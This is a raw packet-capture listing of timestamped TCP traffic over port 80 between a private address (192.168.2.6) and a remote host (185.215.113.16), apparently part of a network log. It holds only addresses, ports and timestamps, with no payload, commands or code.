Oct 24, 2024 09:08:15.602293968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602307081 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602324009 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602339029 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602351904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602356911 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.602386951 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.602418900 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633228064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633251905 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633270979 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633338928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633368969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633528948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633547068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633563042 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633579016 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633579969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633599043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633606911 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633619070 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633634090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633652925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633660078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633672953 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633685112 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633704901 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633738041 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633860111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633877993 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633894920 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633907080 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633909941 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633929014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633944988 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633951902 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633964062 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.633975029 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.633997917 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634013891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634031057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634032965 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634049892 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634052038 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634064913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634076118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634098053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634116888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634150982 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634171963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634200096 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634221077 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634310961 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634332895 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634350061 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634365082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634366035 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634386063 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634390116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634412050 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634449005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634462118 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634480000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634495020 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634507895 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634512901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634529114 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634556055 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634573936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634628057 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634644985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634661913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634674072 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634695053 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634733915 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634793997 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634812117 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634826899 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634843111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634843111 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634864092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634871006 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634882927 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634907961 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634938002 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.634938955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634955883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634970903 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.634990931 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635023117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635081053 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635097980 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635128021 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635155916 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635230064 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635246038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635262012 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635281086 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635281086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635297060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635298014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635338068 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.635340929 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635370970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.635416031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.673914909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.673960924 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.673995018 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674022913 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674034119 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674062967 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674082994 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674099922 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674109936 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674134970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674153090 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674175978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674184084 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674213886 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674226046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674251080 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674267054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674289942 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674304008 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674325943 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674338102 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674362898 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674376965 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674400091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674417973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674437046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674460888 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674470901 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674482107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674505949 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674524069 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674540043 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674549103 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674577951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674593925 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674612999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674633026 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674649000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674665928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674679995 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674700022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674715996 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674738884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674752951 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674788952 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674793959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.674813032 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.674865007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698533058 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698587894 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698621988 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698649883 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698657036 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698688030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698708057 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698719978 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698749065 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698756933 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698777914 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698793888 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698811054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698828936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698837042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698942900 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.698945045 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.698982000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.699012995 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.699021101 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.699050903 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.699069977 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.718986034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719036102 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719084978 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719094992 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719113111 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719131947 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719141960 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719170094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719182968 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719213963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719224930 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719269037 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719274998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719326973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719310999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719378948 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719381094 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719419956 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719423056 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719475031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719578028 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719615936 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719640970 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719652891 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719655991 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719691038 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719707012 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719732046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719738007 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719769001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719795942 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719804049 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719837904 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719841957 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719867945 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719871998 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719891071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719906092 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719918966 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719944000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719954967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.719980001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.719995022 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720016003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720029116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720052004 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720057964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720088959 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720103025 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720129013 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720130920 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720165014 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720170975 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720201969 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720221043 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720237970 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720254898 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720274925 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.720283985 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.720329046 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749352932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749402046 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749461889 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749516964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749524117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749524117 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749548912 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749586105 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749587059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749607086 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749643087 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749644041 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749699116 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749700069 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749752998 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749753952 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749789000 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749805927 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749826908 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749844074 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749862909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749881983 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749900103 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749919891 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749932051 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749947071 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.749965906 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.749979973 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750003099 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750010967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750037909 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750050068 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750077963 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750087023 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750113964 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750122070 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750150919 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750166893 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750184059 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750196934 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750219107 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750227928 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750253916 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750271082 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750289917 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750304937 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750327110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750341892 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750364065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750380993 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750416040 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750420094 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750456095 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750468969 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750494003 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750514030 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750543118 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750546932 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750586033 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750592947 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750622034 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750637054 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750660896 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750674009 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750698090 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750710964 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750734091 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750744104 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750771999 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750782967 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750808001 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750817060 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750844955 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750854015 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750891924 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750900030 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750936985 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750952005 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.750972986 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.750984907 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751025915 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751027107 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751063108 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751072884 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751099110 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751111031 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751136065 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751146078 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751172066 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751180887 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751209974 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751215935 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751246929 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751260042 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751285076 CEST	80	49997	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:15.751291990 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751342058 CEST	49997	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:15.751351118 CEST	80	49997	185.215.113.16	192.168.2.6
